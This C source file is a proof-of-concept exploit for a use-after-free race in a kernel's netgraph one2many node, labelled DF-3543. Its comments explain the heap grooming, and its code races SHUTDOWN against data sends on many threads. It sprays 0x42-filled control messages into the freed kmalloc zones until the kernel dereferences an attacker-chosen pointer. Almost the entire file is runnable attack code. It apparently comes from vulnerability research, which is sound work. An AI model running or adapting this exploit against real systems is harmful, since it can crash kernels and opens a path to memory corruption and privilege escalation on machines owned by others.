/*
 * DF-3543 PoC v3: v1 ng_one2many rcvdata vs SHUTDOWN use-after-free.
 *
 * Key idea: the same thread that triggers NGM_SHUTDOWN (and thus
 * kfree(priv) of the one2many node, ~2804 bytes -> kmalloc zone 4096)
 * immediately allocates 2869-byte netgraph control messages (same zone,
 * same CPU -> LIFO magazine reuse -> the freed priv block is refilled
 * with 0x42 bytes), and 61-byte messages (zone 64, where struct ng_hook
 * (56 bytes) lives) refilled with 0x42 (bit 0 clear so HK_INVALID is
 * NOT seen).  Concurrent writer threads are inside
 * ng_one2many_rcvdata() on other CPUs with a cached priv pointer:
 *   - they WRITE src->stats / dst->stats into the freed block (UAF write)
 *   - they READ many[activeMany[nextMany]].hook from the freed block;
 *     once it holds 0x4242424242424242, NG_SEND_DATA ->
 *     ng_send_data() dereferences hook->flags/hook->peer/... ->
 *     kernel page fault on a fully attacker-chosen non-canonical pointer.
 *
 * Usage: race3 [n_writers_per_side] [n_closers] [spray_iters]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <errno.h>

#ifndef AF_NETGRAPH
#define AF_NETGRAPH 32
#endif
#define NG_AF AF_NETGRAPH
#define NG_PROTO_CONTROL 2
#define NG_PROTO_DATA 1

#define NG_VERSION 2
#define NG_GENERIC_COOKIE 851672668
#define NGM_SHUTDOWN 1
#define NGM_MKPEER 2
#define NGM_CONNECT 3
#define NGM_NAME 4

#define NG_TYPESIZ 32
#define NG_HOOKSIZ 32
#define NG_NODESIZ 32
#define NG_PATHSIZ 512
#define NG_CMDSTRSIZ 32

struct ng_msghdr_t {
	unsigned char version;
	unsigned char spare;
	unsigned short arglen;
	unsigned int flags;
	unsigned int token;
	unsigned int typecookie;
	unsigned int cmd;
	unsigned char cmdstr[NG_CMDSTRSIZ];
};
struct ng_mesg_t {
	struct ng_msghdr_t header;
	char data[4096];
};
struct sockaddr_ng_t {
	unsigned char sg_len;
	unsigned char sg_family;
	char sg_data[64];
};
struct ngm_mkpeer_t { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_connect_t { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; };
struct ngm_name_t { char name[NG_NODESIZ]; };

static int cs = -1, ds = -1;
static volatile int stop = 0;
static int spray_iters = 40;

static void
mkaddr(struct sockaddr_ng_t *sa, const char *path)
{
	size_t n = strlen(path) + 1;
	memset(sa, 0, sizeof(*sa));
	sa->sg_len = 2 + n;
	sa->sg_family = NG_AF;
	memcpy(sa->sg_data, path, n);
}

static int
ng_send_ctrl(const char *path, unsigned int cookie, unsigned int cmd,
    const void *arg, size_t arglen)
{
	struct sockaddr_ng_t sa;
	struct ng_mesg_t msg;
	ssize_t n;

	memset(&msg, 0, sizeof(msg));
	msg.header.version = NG_VERSION;
	msg.header.arglen = arglen;
	msg.header.typecookie = cookie;
	msg.header.cmd = cmd;
	msg.header.token = 0x666;
	if (arglen)
		memcpy(msg.data, arg, arglen);
	mkaddr(&sa, path);
	n = sendto(cs, &msg, sizeof(msg.header) + arglen, 0,
	    (struct sockaddr *)&sa, sa.sg_len);
	return (n < 0) ? errno : 0;
}

/* send a raw (garbage-cookie) message whose payload is 0x42 */
static void
spray(size_t total_len)
{
	struct sockaddr_ng_t sa;
	struct ng_mesg_t msg;
	size_t arglen = total_len - sizeof(msg.header);

	memset(&msg, 0x42, sizeof(msg));
	msg.header.version = NG_VERSION;
	msg.header.arglen = arglen;
	msg.header.typecookie = 0x42424242;
	msg.header.cmd = 1;
	mkaddr(&sa, ".");
	sendto(cs, &msg, total_len, 0, (struct sockaddr *)&sa, sa.sg_len);
}

static void *
writer_side(void *arg)
{
	struct sockaddr_ng_t sa;
	char buf[64];
	const char *hook = arg;

	memset(buf, 'W', sizeof(buf));
	mkaddr(&sa, hook);
	while (!stop) {
		ssize_t n = sendto(ds, buf, sizeof(buf), 0,
		    (struct sockaddr *)&sa, sa.sg_len);
		if (n < 0 && errno != ENOTCONN && errno != EHOSTUNREACH &&
		    errno != ENOBUFS && errno != ECONNREFUSED && errno != EINVAL)
			usleep(100);
	}
	return (NULL);
}

static void *
drainer(void *arg)
{
	char buf[2048];

	while (!stop)
		recv(ds, buf, sizeof(buf), 0);
	return (NULL);
}

static void *
closer_sprayer(void *arg)
{
	int i;

	while (!stop) {
		/*
		 * SHUTDOWN executes kfree(priv) (zone 4096) and frees the
		 * two hooks (zone 64) in THIS thread's CPU context.
		 */
		ng_send_ctrl("t1", NG_GENERIC_COOKIE, NGM_SHUTDOWN, NULL, 0);
		/*
		 * Same-thread, same-CPU allocations: LIFO magazine reuse
		 * makes these land on the just-freed blocks, refilling them
		 * with 0x42.
		 */
		for (i = 0; i < spray_iters; i++) {
			spray(52 + 2817);	/* zone 4096: priv class */
			spray(52 + 9);		/* zone 64: hook class, bit0 clear */
		}
		usleep(300);
	}
	return (NULL);
}

static void *
builder(void *arg)
{
	struct ngm_mkpeer_t mk;
	struct ngm_connect_t cn;

	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "one2many");
	strcpy(mk.ourhook, "t1");
	strcpy(mk.peerhook, "one");

	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "one");
	strcpy(cn.ourhook, "many0");
	strcpy(cn.peerhook, "m0");

	while (!stop) {
		int err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER,
		    &mk, sizeof(mk));
		if (err == 0)
			ng_send_ctrl("t1", NG_GENERIC_COOKIE, NGM_CONNECT,
			    &cn, sizeof(cn));
		usleep(3000);
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	struct ngm_name_t nm;
	struct ngm_mkpeer_t mk;
	struct ngm_connect_t cn;
	pthread_t th[64];
	int nwriters = 8, nclosers = 4;
	int i, err, nth = 0;
	char namebuf[32];

	if (argc > 1)
		nwriters = atoi(argv[1]);
	if (argc > 2)
		nclosers = atoi(argv[2]);
	if (argc > 3)
		spray_iters = atoi(argv[3]);

	snprintf(namebuf, sizeof(namebuf), "r%d", getpid());

	cs = socket(NG_AF, SOCK_DGRAM, NG_PROTO_CONTROL);
	if (cs < 0) { perror("control socket"); exit(1); }
	ds = socket(NG_AF, SOCK_DGRAM, NG_PROTO_DATA);
	if (ds < 0) { perror("data socket"); exit(1); }

	memset(&nm, 0, sizeof(nm));
	strcpy(nm.name, namebuf);
	err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_NAME, &nm, sizeof(nm));
	if (err) { fprintf(stderr, "NGM_NAME: %s\n", strerror(err)); exit(1); }
	{
		struct sockaddr_ng_t sa;
		char abspath[64];
		snprintf(abspath, sizeof(abspath), "%s:", namebuf);
		mkaddr(&sa, abspath);
		if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) {
			perror("data connect");
			exit(1);
		}
	}

	memset(&mk, 0, sizeof(mk));
	strcpy(mk.type, "one2many");
	strcpy(mk.ourhook, "t1");
	strcpy(mk.peerhook, "one");
	err = ng_send_ctrl(".", NG_GENERIC_COOKIE, NGM_MKPEER, &mk, sizeof(mk));
	if (err) { fprintf(stderr, "initial mkpeer: %s\n", strerror(err)); exit(1); }
	memset(&cn, 0, sizeof(cn));
	strcpy(cn.path, "one");
	strcpy(cn.ourhook, "many0");
	strcpy(cn.peerhook, "m0");
	err = ng_send_ctrl("t1", NG_GENERIC_COOKIE, NGM_CONNECT, &cn, sizeof(cn));
	if (err) { fprintf(stderr, "initial connect: %s\n", strerror(err)); exit(1); }

	fprintf(stderr, "racing3: %d writers/side, %d closer-sprayers x%d\n",
	    nwriters, nclosers, spray_iters);

	pthread_create(&th[nth++], NULL, drainer, NULL);
	pthread_create(&th[nth++], NULL, builder, NULL);
	for (i = 0; i < nwriters; i++) {
		pthread_create(&th[nth++], NULL, writer_side, "t1");
		pthread_create(&th[nth++], NULL, writer_side, "m0");
	}
	for (i = 0; i < nclosers; i++)
		pthread_create(&th[nth++], NULL, closer_sprayer, NULL);

	sleep(900);
	stop = 1;
	for (i = 0; i < nth; i++)
		pthread_join(th[i], NULL);
	fprintf(stderr, "survived\n");
	return (0);
}